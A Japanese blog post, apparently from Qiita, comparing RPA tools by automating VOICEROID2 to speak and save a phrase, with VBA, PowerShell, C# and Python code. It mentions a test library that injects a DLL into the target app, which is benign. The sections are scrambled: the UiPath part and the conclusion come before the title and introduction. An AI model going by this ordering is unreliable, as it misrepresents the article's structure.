https://samfundsdesign.dk/siteassets/media/downloads/pdf/the_forrester_wave_rpa_2018_uipath_rpa_leader.pdf今回の走者のなかで、唯一、数十、数百万のツールですが、実はいくつかの条件をみたすことで UiPath Community Editionを使用することができます。
https://www.uipath.com/ja/freetrial-or-community今まで見てきたオブジェクト識別機能、画像による識別機能、操作記録は当然そろっており、フローチャートによるわかりやすいインターフェイスを提供しています。これは.NETのWFを使用しており、流れ図の部品にあたるアクティビティをカスタムアクティビティとして作成できます。
https://qiita.com/UmegayaRollcake/items/c9ff9a01b101ba9193fcまた、さらには国内製品唯一のアドバンテージだった日本語のローカライズも対応されています。
さすが、リーダーを自称し、他称されるだけの機能です。UiStudioの起動
ライセンス認証をしたあとのUiPath.Studioの場所は以下になりました。
C:\Users\名前\AppData\Local\UiPath\プロジェクト
今回作成したプロジェクトのファイルは下記の通りです。
https://github.com/mima3/rpa_akanechan/tree/master/UiPathSampleシーケンスの中に「しゃべる+保存」アクティビティと「葵ちゃんに切り替え」アクティビティがあります。
しゃべる~保存アクティビティ
各UIの操作をひとつづ追加していくこともできますし、画面の操作をレコードしてあとで細かいところを修正することもできます。
変数の設定
シーケンス内で有効、アクティビティ内で有効といったスコープを極めて変数を定義できます。
設定値ではVB.NETの式が使用でき、今回は現在時刻のファイル名を構築してます。
処理の流れ
あかねちゃんに切り替えアクティビティ
UIPathでもタブの子要素になっている要素を検知することはできないので画像識別を利用します。
完走した感想
完走した感想ですが、色々と昔のツールが脱落して新規ツールが増えていきました。
まず、昔ながらのツールであるAutoHotKey,AutoIt,RocketMoude、UWSCのうち、UIAutomationでとれる内容を解析することができたのはUWSCだけでした。そしてそのUWSCもすでに命数が尽きています。
(もちろんCOMをサポートしているツールは頑張れば対応できますが、それをやるなら別の手段をとると思います。)
もはやWin32の時代でないと思うと諸行無常を感じます。また、テスト工程で使うなら、Friendlyが魅力的です。テスト対象をかえずに、テスト用に魔改造が色々できそうです。
複数OS対応ならば、画像の範囲を工夫してSikulixか、pyAutoGuiを検討することになると思います。ただし、画像認識なのでいずれにしても、確実に動作させるのは難しいでしょう。
IT活用しない縛りのレギュレーションの会社ではVBAかPowerShellでUIAutomationをたたくしかないです。
あと、UIPathについては他の高価格帯と比較しないと意味がなさそうなので、ここでは言及しないでおきますが、たぶん触っておいて損はないと思います。
- 投稿日:2019-05-26T22:13:58+09:00
RPA九人衆による「アカネチャンカワイイヤッタ」の自動化
レギュレーション
各RPAツールでVOICEROID2の茜ちゃんに「アカネチャンカワイイヤッタ」と言わせた後にファイルを保存します。
画像認識できる場合は葵ちゃんにもしゃべってもらいます。環境:
Window10 64bit
VoiceRoide2タブの中の子要素が取れない問題について:
https://teratail.com/questions/53276参加ツール
ツール名 簡単な説明 VBA + UIAutomation UIAutomationをCOM経由でVBAで実行して画面操作します。ツールに頼らない裸の強さを見せてくれます。 PowerShell + UIAutomation UIAutomationを.NET経由でPowerShellを使って実行します。Windows7以降ならOfficeすら不要という強さがあります。 WinAppDriver Microsoftが開発したSeleniumライクの自動操作を実現するツール。Seleniumを使うなら俺も使えという熱い気持ちが伝わってきます。 Friendly 本来はテストツール。操作対象のアプリにテスト用のDLLをインジェクションするという荒業をみせて、参加選手のなか唯一タブの中の要素を画像認識を使わずに操作した豪の物です。 PyAutoGUI Pythonでの自動操作を実現します。基本的に画像認識で操作を行いますが、旨く作ればMacでもLinuxでも動作します。最近のPythonブームによって躍進が期待されます。 UWSC 古のツールの中で唯一UIAutomationが認識できる要素を解析できたつわものです。バランスの取れたいい選手ですが、このたび公式サイトが閉鎖されるというアクシデントがあり引退がささやかれています。 sikulix 画像認識に特化したツール。IDEが使いやすくデザインされています。またJavaで動作してどこでも動くうえ、スクリプト自体はPythonやRuby,JavaScriptで記載できる欲張りセットになっております。 RocketMouse 昔からある自動操作ツール。画像認識はできるが、オブジェクトの認識はWin32で作ったものしかできません。今回は試用版による参加 UIPath 2018年のforresterの調査でRPAのリーダーと言わしめた製品。高価格帯からは唯一の参戦だが、Community版なら個人や小規模事業では使用できるというサプライズ。 なお、AutoIt選手とAutoHotKey選手につきましてはUIAutomationのCOMを触るためのIFを用意する必要があり、それ以外だと、画像認識しかできないので今回は欠場となっております。
アカネチャンカワイイヤッターの実行
VBA + UIAutomationでアカネチャンカワイイヤッター
Officeさえ入っていればWindowsの自動操作が行えます。
RPAツールなんていらんかったんや画面上の要素を正確に捕捉できるため、違うPCでも動かしやすいという利点があります。
操作対象のオブジェクトの調査はInspectを用いて行うとよいでしょう。VBAによる実装
https://github.com/mima3/rpa_akanechan/tree/master/vba(UIAutomationCom)
Module1Option Explicit Public Sub Kawaii() Dim vr As New VoiceRoid Dim mainForm As IUIAutomationElement Set mainForm = vr.GetMainWindowByTitle(vr.GetRoot(), "VOICEROID2") If (mainForm Is Nothing) Then Set mainForm = vr.GetMainWindowByTitle(vr.GetRoot(), "VOICEROID2*") If (mainForm Is Nothing) Then MsgBox "VOICEROIDE2が起動していない" Exit Sub End If End If ' 茜ちゃんしゃべる Call vr.SetText(mainForm, 0, "アカネチャンカワイイヤッタ") Call vr.pushButton(mainForm, 0) ' しゃべり終わるまで待機 Dim sts As String Do While sts <> "テキストの読み上げは完了しました。" sts = vr.GetStatusBarItemText(mainForm, 0) Call vr.SleepMilli(500) Loop ' 音声保存 Call vr.pushButton(mainForm, 4) ' 5秒以内に音声保存画面が表示されたら保存ボタンを押す Dim saveWvForm As IUIAutomationElement Set saveWvForm = vr.WaitMainWindowByTitle(mainForm, "音声保存", 5) Call vr.pushButton(saveWvForm, 0) ' 名前を付けて保存に日付のファイル名を作る Dim saveFileForm As IUIAutomationElement Set saveFileForm = vr.WaitMainWindowByTitle(saveWvForm, "名前を付けて保存", 5) Call vr.SetTextById(saveFileForm, "1001", Format(Now(), "yyyymmddhhnnss.wav")) SendKeys "{ENTER}" ' 情報ポップアップのOKを押下 Dim infoForm As IUIAutomationElement Set infoForm = vr.WaitMainWindowByTitle(saveWvForm, "情報", 60) Call vr.pushButton(infoForm, 0) End SubVoiceRoid.clsOption Explicit Private uia As UIAutomationClient.CUIAutomation Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Class_Initialize() Set uia = New UIAutomationClient.CUIAutomation End Sub Private Sub Class_Terminate() Set uia = Nothing End Sub Public Sub SleepMilli(ByVal millisec As Long) Call Sleep(millisec) End Sub ' ルートのディスクトップ要素を取得 Public Function GetRoot() As IUIAutomationElement Dim ret As IUIAutomationElement Set ret = uia.GetRootElement Set GetRoot = ret End Function ' 指定の子ウィンドウをタイトルから取得する Public Function GetMainWindowByTitle(ByRef form As IUIAutomationElement, ByVal name As String) As IUIAutomationElement Dim cnd As IUIAutomationCondition Dim ret As IUIAutomationElement Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_NamePropertyId, name) Set ret = form.FindFirst(TreeScope_Element Or TreeScope_Children, cnd) Set GetMainWindowByTitle = ret End Function ' 指定の子ウィンドウをタイトルから取得できまで待機 Public Function WaitMainWindowByTitle(ByRef form As IUIAutomationElement, ByVal name As String, ByVal timeOutSec As Double) As IUIAutomationElement Dim start As Variant start = timer() Dim ret As IUIAutomationElement Set ret = GetMainWindowByTitle(form, name) Do While ret Is Nothing If timer() - start > timeOutSec Then Exit Function End If Set ret = GetMainWindowByTitle(form, name) Call SleepMilli(100) Loop Set WaitMainWindowByTitle = ret End Function ' ボタンを指定Indexを押下する Public Sub pushButton(ByRef form As IUIAutomationElement, ByVal ix As Long) Dim cnd As IUIAutomationCondition Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_ClassNamePropertyId, "Button") Dim list As IUIAutomationElementArray Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd) Dim ptn As IUIAutomationInvokePattern Set ptn = list.GetElement(ix).GetCurrentPattern(UIA_PatternIds.UIA_InvokePatternId) Call ptn.Invoke End Sub ' 指定のClassNameがTextBoxに値を設定する Public Sub SetText(ByRef form As IUIAutomationElement, ByVal ix As Long, ByVal text As String) Dim cnd As IUIAutomationCondition Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_ClassNamePropertyId, "TextBox") Dim list As IUIAutomationElementArray Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd) Dim editValue As IUIAutomationValuePattern Set editValue = list.GetElement(ix).GetCurrentPattern(UIA_PatternIds.UIA_ValuePatternId) Call editValue.SetValue(text) End Sub ' 指定のAutomationIdでTextBoxに値を設定する Public Sub SetTextById(ByRef form As IUIAutomationElement, ByVal id As String, ByVal text As String) Dim cnd As IUIAutomationCondition Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_AutomationIdPropertyId, id) Dim list As IUIAutomationElementArray Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd) Dim editValue As IUIAutomationValuePattern Set editValue = list.GetElement(0).GetCurrentPattern(UIA_PatternIds.UIA_ValuePatternId) Call editValue.SetValue(text) End Sub ' 指定のClassNameがTextBoxの値を取得する Public Function GetStatusBarItemText(ByRef form As IUIAutomationElement, ByVal ix As Long) As String Dim cnd As IUIAutomationCondition Set cnd = uia.CreatePropertyCondition(UIA_PropertyIds.UIA_ClassNamePropertyId, "StatusBarItem") Dim list As IUIAutomationElementArray Set list = form.FindAll(TreeScope_Element Or TreeScope_Descendants, cnd) GetStatusBarItemText = list.GetElement(ix).CurrentName End Function備考
・画像認識はUIAutomationの範囲からはずれるために実施していません。
・タブの子要素が取得できません。茜ちゃんから葵ちゃんに切り替えたり、感情を変更することができないことになります。
・UIAutomationで要素を検索して値の取得や操作をしているだけです。
ただし、ディスクトップを検索する場合、直下の子供だけを検索するようにしないと時間がかかるので注意してください。・名前を付けて保存時にファイル名入力後にENTERを押下しています。これはロストフォーカス時に入力前の文字にもどってしまう事象の対策です。他のツールにおいても同様の実装をおこなっています。
PowerShell+UIAutomationでアカネチャンカワイイヤッター
PowerShellさえ入っているWin7以降ならOfficeすら不要で自動操作ができます。
また、VBAに対するアドバンテージとしては、.NETの機能が簡単に利用できるようになったことです。
管理者権限がなければps1ファイルが実行できないという勘違いをしていましたが、実際はそんなことはないので、学習コストさえ払えるならPowerShellに移行したほうがよいでしょう。PowerShellでの実装
https://github.com/mima3/rpa_akanechan/tree/master/powershell(UIAutomation.NET)
kawaii.ps1Add-Type -AssemblyName UIAutomationClient Add-Type -AssemblyName UIAutomationTypes Add-type -AssemblyName System.Windows.Forms $source = @" using System; using System.Windows.Automation; public class AutomationHelper { public static AutomationElement RootElement { get { return AutomationElement.RootElement; } } public static AutomationElement GetMainWindowByTitle(string title) { PropertyCondition cond = new PropertyCondition(AutomationElement.NameProperty, title); return RootElement.FindFirst(TreeScope.Children, cond); } public static AutomationElement ChildWindowByTitle(AutomationElement parent , string title) { try { PropertyCondition cond = new PropertyCondition(AutomationElement.NameProperty, title); return parent.FindFirst(TreeScope.Children, cond); } catch { return null; } } public static AutomationElement WaitChildWindowByTitle(AutomationElement parent, string title, int timeout = 10) { DateTime start = DateTime.Now; while (true) { AutomationElement ret = ChildWindowByTitle(parent, title); if (ret != null) { return ret; } TimeSpan ts = DateTime.Now - start; if (ts.TotalSeconds > timeout) { return null; } System.Threading.Thread.Sleep(100); } } } "@ Add-Type -TypeDefinition $source -ReferencedAssemblies("UIAutomationClient", "UIAutomationTypes") # 5.0以降ならusingで記載した方が楽。 $autoElem = [System.Windows.Automation.AutomationElement] # ウィンドウ以下で指定の条件に当てはまるコントロールを全て列挙 function findAllElements($form, $condProp, $condValue) { $cond = New-Object -TypeName System.Windows.Automation.PropertyCondition($condProp, $condValue) return $form.FindAll([System.Windows.Automation.TreeScope]::Element -bor [System.Windows.Automation.TreeScope]::Descendants, $cond) } # ウィンドウ以下で指定の条件に当てはまるコントロールを1つ取得 function findFirstElement($form, $condProp, $condValue) { $cond = New-Object -TypeName System.Windows.Automation.PropertyCondition($condProp, $condValue) return $form.FindFirst([System.Windows.Automation.TreeScope]::Element -bor [System.Windows.Automation.TreeScope]::Descendants, $cond) } # 要素をValuePatternに変換 function convertValuePattern($elem) { return $elem.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern) -as [System.Windows.Automation.ValuePattern] } # 指定の要素をボタンとみなして押下する function pushButton($form, $index) { $buttonElemes = findAllElements $form $autoElem::ClassNameProperty "Button" $invElm = $buttonElemes[$index].GetCurrentPattern([System.Windows.Automation.InvokePattern]::Pattern) -as [System.Windows.Automation.InvokePattern] $invElm.Invoke() } # 指定のAutomationIDのボタンを押下 function pushButtonById($form, $id) { $buttonElem = findFirstElement $form $autoElem::AutomationIdProperty $id $invElm = $buttonElem.GetCurrentPattern([System.Windows.Automation.InvokePattern]::Pattern) -as [System.Windows.Automation.InvokePattern] $invElm.Invoke() } # 指定の内容をしゃべらせる function speakText($mainForm, $message) { try { # テキストの検索 $textboxElems = findAllElements $mainForm $autoElem::ClassNameProperty "TextBox" $messageValuePtn = convertValuePattern $textboxElems[0] $messageValuePtn.SetValue($message); # 音声保存ボタン押下 pushButton $mainForm 0 # 読み上げ中は待機 $cond = New-Object -TypeName System.Windows.Automation.PropertyCondition([System.Windows.Automation.AutomationElement]::NameProperty, "テキストの読み上げは完了しました。") do { Start-Sleep -m 500 $elems = $mainForm.FindAll([System.Windows.Automation.TreeScope]::Element -bor [System.Windows.Automation.TreeScope]::Descendants, $cond) } while ($elems.Count -eq 0) return $True } catch { Write-Error "ファイルの保存に失敗しました" $_ return $False } } # しゃべる内容を設定後指定のファイルに保存 function saveText($mainForm , $message, $outPath) { try { # テキストの検索 $textboxElems = findAllElements $mainForm $autoElem::ClassNameProperty "TextBox" $messageValuePtn = convertValuePattern $textboxElems[0] $messageValuePtn.SetValue($message); # 音声保存ボタン押下 pushButton $mainForm 4 #音声保存ウィンドウが表示される可能性 $saveWvForm = [AutomationHelper]::WaitChildWindowByTitle($mainForm, "音声保存", 2) pushButton $saveWvForm 0 #名前を付けて保存 $saveFileForm = [AutomationHelper]::WaitChildWindowByTitle($saveWvForm, "名前を付けて保存", 5) if ($saveFileForm -eq $null) { return $False; } $txtFilePathElem = findFirstElement $saveFileForm $autoElem::AutomationIdProperty "1001" $txtFilePathValuePtn = convertValuePattern $txtFilePathElem $txtFilePathValuePtn.SetValue($outPath); [System.Windows.Forms.SendKeys]::SendWait("{ENTER}") #エンターでないとコンボボックスが効いて、元に戻る。 #pushButtonById $saveFileForm "1" # ここでファイルの上書きがtxtとwav分でる可能性があるが、ファイル名を一意にすることで回避すること # 情報ポップアップがでるまで待機 $infoWin = [AutomationHelper]::WaitChildWindowByTitle($saveWvForm, "情報", 60) if ($infoWin -eq $null) { return $False; } pushButton $infoWin 0 return $True } catch { Write-Error "ファイルの保存に失敗しました" $_ return $False } } # メイン処理 $mainForm = [AutomationHelper]::GetMainWindowByTitle("VOICEROID2") if ($mainForm -eq $null) { $mainForm = [AutomationHelper]::GetMainWindowByTitle("VOICEROID2*") } if ($mainForm -eq $null) { Write-Error "VOICEROID2を起動してください" exit 1 } # しゃべる $ret = speakText $mainForm 'アカネチャンカワイイヤッタ' if ($ret -eq $False ) { exit } # 保存する $fileName = Get-Date -Format "yyyyMMddHHmmss.wav" saveText $mainForm 'アカネチャンカワイイヤッタ' $fileName備考
・タブにたいする制限はVBAのUIAutomationと同じです。
・PowerShell中にC#のコードを埋め込んでいる理由は「名前を付けて保存」ダイアログを操作するためです。
下記を参照してください。
>PowerShellのUIAutomationは複雑怪奇なり・using等の新しい機能は使わないようにしているのでPowershell2.0あたりでも動くと思います(未検証)
WinAppDriverでアカネチャンカワイイヤッター
Seleniumライクな操作でWindowsアプリを操作するためにマイクロソフトが開発したツールです。Seleniumの操作とほぼ同じなので、学習コストは低くなることが期待できます。
その構成は以下のようになります。
操作プログラムは操作対象のプログラムを直接操作するのでなくWebAppDriver経由で操作をおこないます。
操作プログラムとWebAppDriverの間は下記のようなJSONデータでやりとりが行われています。WebAppDriverはダウンロードページ から入手してください。
WinAppDriverUiRecorderについて
XPathを用いてWindowの要素を操作するのですが、そのXPathの検査にはWinAppDriverUiRecorderを使用します。
C# Codeのタブを選択すると行った操作の内容の実装例が表示されます。
ただし、基本的にあてにはならないのでXPathの参考程度にするといいでしょう。
またマルチディスプレイで作業している場合、1つめのディスプレイしか認識しないので注意してください。WinAppDriverを使用した実装
https://github.com/mima3/rpa_akanechan/tree/master/visualstudio/WinAppDriverSemple
NuGetで取得した資材。
・Appium.WebDriver v3.0.0.2using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using OpenQA.Selenium.Appium.Windows; using OpenQA.Selenium.Remote; using OpenQA.Selenium; using System.Globalization; namespace WinAppDriverSemple { class Program { static WindowsDriver<WindowsElement> desktopSession; private const string WindowsApplicationDriverUrl = "http://127.0.0.1:4723/"; // 指定の要素が検索できるまで待機する public static WindowsElement WaitElementByAbsoluteXPath(WindowsDriver<WindowsElement> root, string xPath, int nTryCount = 15) { WindowsElement uiTarget = null; while (nTryCount-- > 0) { try { uiTarget = root.FindElementByXPath(xPath); } catch { } if (uiTarget != null) { break; } else { System.Threading.Thread.Sleep(500); } } return uiTarget; } static void Main(string[] args) { // DesktopからVOCAROID2を検索 DesiredCapabilities desktopCapabilities = new DesiredCapabilities(); desktopCapabilities.SetCapability("app", "Root"); desktopCapabilities.SetCapability("deviceName", "WindowsPC"); desktopSession = new WindowsDriver<WindowsElement>(new Uri(WindowsApplicationDriverUrl), desktopCapabilities); String hwnd; WindowsElement appElem; appElem = desktopSession.FindElementByName("VOICEROID2"); hwnd = appElem.GetAttribute("NativeWindowHandle"); if (hwnd.Equals("0")) { appElem = desktopSession.FindElementByName("VOICEROID2*"); hwnd = appElem.GetAttribute("NativeWindowHandle"); } DesiredCapabilities appCapabilities = new DesiredCapabilities(); hwnd = int.Parse(hwnd).ToString("x"); appCapabilities.SetCapability("appTopLevelWindow", hwnd); WindowsDriver<WindowsElement> appSession = new WindowsDriver<WindowsElement>(new Uri(WindowsApplicationDriverUrl), appCapabilities); // しゃべらせる var txtMsg = appSession.FindElementByXPath("//Edit[@AutomationId=\"TextBox\"]"); txtMsg.Click(); // 英語キーボードじゃないと記号が旨く送信できない(Seleniumの仕様っぽい) txtMsg.SendKeys(Keys.LeftControl + "a"); txtMsg.SendKeys(Keys.Delete); txtMsg.SendKeys("アカネチャンカワイイヤッタ"); var btnPlay = appSession.FindElementByXPath("//Button[@ClassName=\"Button\"]/Text[@ClassName=\"TextBlock\"][@Name=\"再生\"]"); btnPlay.Click(); // 保存開始 var statusBar = WaitElementByAbsoluteXPath(appSession, "//StatusBar[@ClassName =\"StatusBar\"]/Text[@ClassName=\"StatusBarItem\"][@Name=\"テキストの読み上げは完了しました。\"]/Text[@ClassName=\"TextBlock\"][@Name=\"テキストの読み上げは完了しました。\"]"); if (statusBar == null) { Console.Error.WriteLine("読み上げ失敗"); return; } var btnSave = appSession.FindElementByXPath("//Button[@ClassName=\"Button\"]/Text[@ClassName=\"TextBlock\"][@Name=\"音声保存\"]"); btnSave.Click(); // 音声保存画面でOK押下 var btnSaveOk = appSession.FindElementByXPath("//Window[@ClassName =\"Window\"][@Name=\"音声保存\"]/Button[@ClassName=\"Button\"][@Name=\"OK\"]"); btnSaveOk.Click(); // 名前を付けて保存 var txtFileName = appSession.FindElementByXPath("//Window[@ClassName=\"#32770\"][@Name=\"名前を付けて保存\"]/Pane[@ClassName=\"DUIViewWndClassName\"]/ComboBox[@Name=\"ファイル名:\"][@AutomationId=\"FileNameControlHost\"]/Edit[@ClassName=\"Edit\"][@Name=\"ファイル名:\"]"); String hankakuKey = Convert.ToString(Convert.ToChar(0xE0 + 244, CultureInfo.InvariantCulture), CultureInfo.InvariantCulture); // 英字キーボードだと以下のキーで半角全角切り替えになる txtFileName.SendKeys("`"); // 0xFF40 txtFileName.SendKeys(Keys.LeftControl + "a"); txtFileName.SendKeys(Keys.Delete); // txtFileName.SendKeys(System.DateTime.Now.ToString("yyyymMMddhhmmss") + ".wav"); txtFileName.SendKeys(Keys.Enter); // var infoOk = WaitElementByAbsoluteXPath(appSession, "//Window[@ClassName=\"#32770\"][@Name=\"情報\"]/Button[@ClassName=\"Button\"][@Name=\"OK\"]"); infoOk.Click(); } } }備考
・Windows10でしか動作しません。
・WinAppDriverで公開されているものはテストコードとUIRecorderのみです。WinAppDriver自体のコードは公開されていません。
・UIAutomation同様、タブの子要素が取得できません。
・日本語キーボードの場合、記号が正常に表示されません。
例:editBox.SendKeys("a/b\c"); // →a/b]c
https://github.com/Microsoft/WinAppDriver/issues/194・XPathで要素の指定は容易に行えます。しかしながらパフォーマンスがUIAutomationに比べてかなり落ちます。
今回はすこしでも早くなることを期待して、ディスクトップのルートからでなく、アプリケーションから検索するようにしています。・名前を付けて保存をする際のファイル名がどうしても全角になってしまい、そこを「`」を送信することでごまかしています。
Friendlyでアカネチャンカワイイヤッター
操作プログラムが使用しているFrendlyが操作対象の茜ちゃんにDLLインジェクションをします。
それにより、そこでプロセス間通信を行い画面の要素の情報を取得しています。この仕組みのため、マイクロソフト製のUIAutomationとWinAppDriverでも、やれないことを平然とやってのけます。
そこにしびれるあこがれる~!!!
ただし、操作対象のアプリケーションにテスト用のDLLを差し込んだものをテストや運用で使っていいのかという問題がありますので導入時にはよく検討すべきです。一方、単体テストや、再起動可能な画面の自動操作では非常に強力なライブラリです。日本の会社が作った仕組みなので、公式サイトのドキュメントをみるのが一番いいでしょう。
また、GitHubにコードが公開されています。Friendlyでの実装例を教えてくれるTestAssistantツール
TestAssistantというツールが提供されており、画面の要素の調査がおこなえます。
要素を選択してコードのサンプルを作成したり、実際作成したサンプルをツール上で実行できたりと、かなり強力なツールになっています。同一アプリに対する操作について
同一アプリに複数のプロセスがFriendlyを使用して操作すると以下のエラーを出力してエラーになります。
エラー内容型 'Codeer.Friendly.FriendlyOperationException' のハンドルされていない例外が Codeer.Friendly.Windows.dll で発生しました 追加情報:アプリケーションとの通信に失敗しました。 対象アプリケーションが通信不能な状態になったか、 シリアライズ不可能な型のデータを転送しようとした可能性があります。たとえば、TestAssistantで要素を調べならがら、コードを書いている場合によく遭遇します。
この場合は、操作対象のアプリケーションを起動しなおす必要があります。ウィルスバスターの検知
設定によってはウィルスバスターによって誤検知されるので注意してください。
Friendlyによる実装
https://github.com/mima3/rpa_akanechan/tree/master/visualstudio/FriendlySample
Nugetで取得したもの
・Codeer.Friendly
・Codeer.Friendly.Windows
・Codeer.Friendly.Windows.Grasp
・Codeer.Friendly.Windows.NativeStandardControls
・Codeer.TestAssistant.GeneratorToolKit
・RM.Friendly.WPFStandardControlsProgram.csusing Codeer.Friendly; using Codeer.Friendly.Windows; using Codeer.Friendly.Windows.Grasp; using RM.Friendly.WPFStandardControls; using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading.Tasks; using Codeer.Friendly.Windows.NativeStandardControls; using Codeer.Friendly.Dynamic; namespace AkanechanKawaii { class Program { static void Main(string[] args) { // プロセスの取得 Process[] ps = Process.GetProcessesByName("VoiceroidEditor"); if (ps.Length == 0) { Console.Error.WriteLine("VOICEROID2を起動してください"); return; } // WindowsAppFriendをプロセスから作成する // 接続できない旨のエラーの場合、別のプロセスでテスト対象のプロセスを操作している場合がある。 // TestAssistant使いながら動作できないようなので、注意。 var app = new WindowsAppFriend(ps[0]); var mainWindow = WindowControl.FromZTop(app); // 茜ちゃんしゃべる WPFTextBox txtMessage = new WPFTextBox(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 5, 3, 0, 2)); txtMessage.EmulateChangeText("アカネチャンカワイイヤッタ"); WPFButtonBase btnPlay = new WPFButtonBase(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 5, 3, 0, 3, 0)); btnPlay.EmulateClick(); // ステータスバーを監視してしゃべり終わるまでまつ String sts; do { System.Threading.Thread.Sleep(500); var txtStatusItem = mainWindow.IdentifyFromVisualTreeIndex(0, 0, 0, 0, 2, 0, 0, 0, 4, 0, 0, 0).Dynamic(); ; sts = txtStatusItem.Text.ToString(); } while (!sts.Equals("テキストの読み上げは完了しました。")); // 保存ボタン押下 // ダイアログが表示されると引数なしのEmulateClickだと止まるのでAsyncオブジェクトを渡しておく var async = new Async(); WPFButtonBase btnSave = new WPFButtonBase(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 5, 3, 0, 3, 5)); btnSave.EmulateClick(async); // 音声保存ダイアログ操作 var dlgSaveWav = mainWindow.WaitForNextModal(); var asyncSaveWin = new Async(); WPFButtonBase buttonOK = new WPFButtonBase(dlgSaveWav.IdentifyFromLogicalTreeIndex(0, 1, 0)); buttonOK.EmulateClick(asyncSaveWin); // ファイル名指定後の保存 var asyncSaveFile = new Async(); var dlgFileSave = dlgSaveWav.WaitForNextModal(); NativeEdit editFileName = new NativeEdit(dlgFileSave.IdentifyFromZIndex(11, 0, 4, 0, 0)); editFileName.EmulateChangeText(System.DateTime.Now.ToString("yyyymMMddhhmmss") + ".wav"); NativeButton btnSaveOk = new NativeButton(dlgFileSave.IdentifyFromDialogId(1)); btnSaveOk.EmulateClick(asyncSaveFile); // 情報ダイアログが表示されるまで待機してOKを押下 var dlgInfo = WindowControl.WaitForIdentifyFromWindowText(app, "情報"); NativeButton btn = new NativeButton(dlgInfo.IdentifyFromWindowText("OK")); btn.EmulateClick(); //非同期で実行した保存ボタン押下の処理が完全に終了するのを待つ asyncSaveFile.WaitForCompletion(); asyncSaveWin.WaitForCompletion(); async.WaitForCompletion(); // 葵ちゃんに切り替えてしゃべる // UIAutomationだと葵ちゃん切り替えが行えない。 WPFListView ListView = new WPFListView(mainWindow.IdentifyFromLogicalTreeIndex(0, 4, 3, 3, 0, 1, 0, 2)); ListView.EmulateChangeSelectedIndex(1); txtMessage.EmulateChangeText("オネエチャンカワイイヤッタ"); btnPlay.EmulateClick(); ListView.EmulateChangeSelectedIndex(0); } } }備考
・基本的にIdentifyFromLogicalTreeIdxで取得している要素はTestAssistantで取得しています。
・引数なしのEmulateClickで制御がおわるまでかえってこないボタンについてはAsyncをわたして、最後でWaitForCompletion()を実行して終了を待っています。
・UIAutomationでもWinAppDriverでも取れないタブの中身を取得できるため、葵ちゃんに切り替えてしゃべってもらっています。
PyAutoGUIでアカネチャンカワイイヤッター
Pythonで自動操作を行えます。
いままでのツールやライブラリと違い、PyAutoGuiはMacやUnixでも動作するので複数のOSで同じ操作をする場合に有効になると想定されます。PyAutoGUIによる実装
https://github.com/mima3/rpa_akanechan/tree/master/PyAutoGui
import time import pyautogui import pyperclip import datetime # クリップボードを経由する場合 # http://sagantaf.hatenablog.com/entry/2017/10/18/231750 def copipe(string): pyperclip.copy(string) pyautogui.hotkey('ctrl', 'v') # 指定の画像が表示されるまで待つ def waitPicture(f): print(f) ret = None while ret is None: ret = pyautogui.locateOnScreen(f, grayscale=False, confidence=.8) print (ret) if ret is not None: return ret time.sleep(1) mainButtons = pyautogui.locateOnScreen('mainbutton.bmp', grayscale=False, confidence=.8) if mainButtons is None: print (u'VOICEROID2の再生ボタンが見つかりません') exit() # テキスト選択 pyautogui.click(mainButtons[0] + 30, mainButtons[1] ) # テキストのクリア pyautogui.hotkey('ctrl', 'a') pyautogui.press('del') # テキストの設定 copipe(u'アカネチャンカワイイヤッタ') # 再生 pyautogui.click(mainButtons[0], mainButtons[1] + mainButtons[3] / 2 ) # 読み上げまで待機 time.sleep(0.5) waitPicture('status.bmp') # 音声の保存 pyautogui.click(mainButtons[0] + mainButtons[2], mainButtons[1] + mainButtons[3] / 2 ) wavSave = waitPicture('wavSave.bmp') pyautogui.click(wavSave[0] + 5, wavSave[1] + wavSave[3] / 2 ) # ファイルの保存 fileSave = waitPicture('fileSave.bmp') pyautogui.click(fileSave[0], fileSave[1]) copipe(datetime.datetime.now().strftime("%Y%m%d%H%M%S.wav")) pyautogui.press('enter') # 情報ダイアログ info = waitPicture('info.bmp') pyautogui.click(info[0] + info[2], info[1] + info[3]) # 葵ちゃんしゃべる time.sleep(0.5) aoi = pyautogui.locateOnScreen('aoi.bmp', grayscale=False, confidence=.8) pyautogui.click(aoi[0], aoi[1]) # テキスト設定 pyautogui.click(mainButtons[0] + 30, mainButtons[1] ) pyautogui.hotkey('ctrl', 'a') pyautogui.press('del') copipe(u'オネエチャンカワイイヤッタ') pyautogui.click(mainButtons[0], mainButtons[1] + mainButtons[3] / 2 ) # 茜ちゃんに戻す akane = pyautogui.locateOnScreen('akane.bmp', grayscale=False, confidence=.8) pyautogui.click(akane[0], akane[1])解説
・キーボード操作処理で日本語入力に対応していないため、pyperclipを使用してクリップボード経由で文字を設定しています。クリップボードの内容が重大な場合のシナリオについて留意してください。
・locateOnScreenで画像認識をしており、その精度はconfidenceパラメータにより制御しています。画像が認識しずらい場合、この値を下げてみてください。
・あくまで画像認識なので、実行前に対象のコントロールが隠れていたりしないことを確認してから実行してください。他にも解像度の変更やウィンドウサイズや位置の違いで簡単に動かなくなります。
・マルチディスプレイの場合、1つめのディスプレイに操作対象のウィンドウがないと動作しないです。
UWSCでアカネチャンカワイイヤッター
10年以上前から存在するツールです。
レコード機能が強力でAutoHotKeyやAutoItでは認識しないような画面の要素を検出できます。
また、画像認識などの機能そろっており、おそらく、もっとも使いやすいツールの一つでした。残念なことに、2018年ころよりサイトが閉鎖されてしまい、今後使用することはできないでしょう。
UWSCによる実装
https://github.com/mima3/rpa_akanechan/tree/master/UWSC
